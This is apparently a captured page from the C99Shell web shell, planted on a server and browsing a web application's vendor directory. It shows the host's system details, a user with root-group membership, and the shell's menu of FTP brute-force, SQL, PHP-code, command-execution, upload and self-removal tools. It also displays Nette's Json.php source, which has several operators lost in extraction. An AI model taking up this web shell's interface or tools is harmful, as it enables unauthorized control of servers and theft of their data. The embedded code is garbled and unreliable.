!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/nette/utils/src/Utils/   drwxr-xr-x
Free 28.52 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Json.php (2.22 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * This file is part of the Nette Framework (https://nette.org)
 * Copyright (c) 2004 David Grudl (https://davidgrudl.com)
 */

declare(strict_types=1);

namespace 
Nette\Utils;

use 
Nette;


/**
 * JSON encoder and decoder.
 */
final class Json
{
    use 
Nette\StaticClass;

    
/** @deprecated use Json::decode(..., forceArrays: true) */
    
public const FORCE_ARRAY JSON_OBJECT_AS_ARRAY;

    
/** @deprecated use Json::encode(..., pretty: true) */
    
public const PRETTY JSON_PRETTY_PRINT;

    
/** @deprecated use Json::encode(..., asciiSafe: true) */
    
public const ESCAPE_UNICODE << 19;


    
/**
     * Converts value to JSON format. Use $pretty for easier reading and clarity, $asciiSafe for ASCII output
     * and $htmlSafe for HTML escaping, $forceObjects enforces the encoding of non-associateve arrays as objects.
     * @throws JsonException
     */
    
public static function encode(
        
mixed $value,
        
bool|int $pretty false,
        
bool $asciiSafe false,
        
bool $htmlSafe false,
        
bool $forceObjects false,
    ): 
string
    
{
        if (
is_int($pretty)) { // back compatibility
            
$flags = ($pretty self::ESCAPE_UNICODE JSON_UNESCAPED_UNICODE) | ($pretty & ~self::ESCAPE_UNICODE);
        } else {
            
$flags = ($asciiSafe JSON_UNESCAPED_UNICODE)
                | (
$pretty JSON_PRETTY_PRINT 0)
                | (
$forceObjects JSON_FORCE_OBJECT 0)
                | (
$htmlSafe JSON_HEX_AMP JSON_HEX_APOS JSON_HEX_QUOT JSON_HEX_TAG 0);
        }

        
$flags |= JSON_UNESCAPED_SLASHES
            
| (defined('JSON_PRESERVE_ZERO_FRACTION') ? JSON_PRESERVE_ZERO_FRACTION 0); // since PHP 5.6.6 & PECL JSON-C 1.3.7

        
$json json_encode($value$flags);
        if (
$error json_last_error()) {
            throw new 
JsonException(json_last_error_msg(), $error);
        }

        return 
$json;
    }


    
/**
     * Parses JSON to PHP value. The $forceArrays enforces the decoding of objects as arrays.
     * @throws JsonException
     */
    
public static function decode(string $jsonbool|int $forceArrays false): mixed
    
{
        
$flags is_int($forceArrays// back compatibility
            
$forceArrays
            
: ($forceArrays JSON_OBJECT_AS_ARRAY 0);
        
$flags |= JSON_BIGINT_AS_STRING;

        
$value json_decode($jsonflags$flags);
        if (
$error json_last_error()) {
            throw new 
JsonException(json_last_error_msg(), $error);
        }

        return 
$value;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--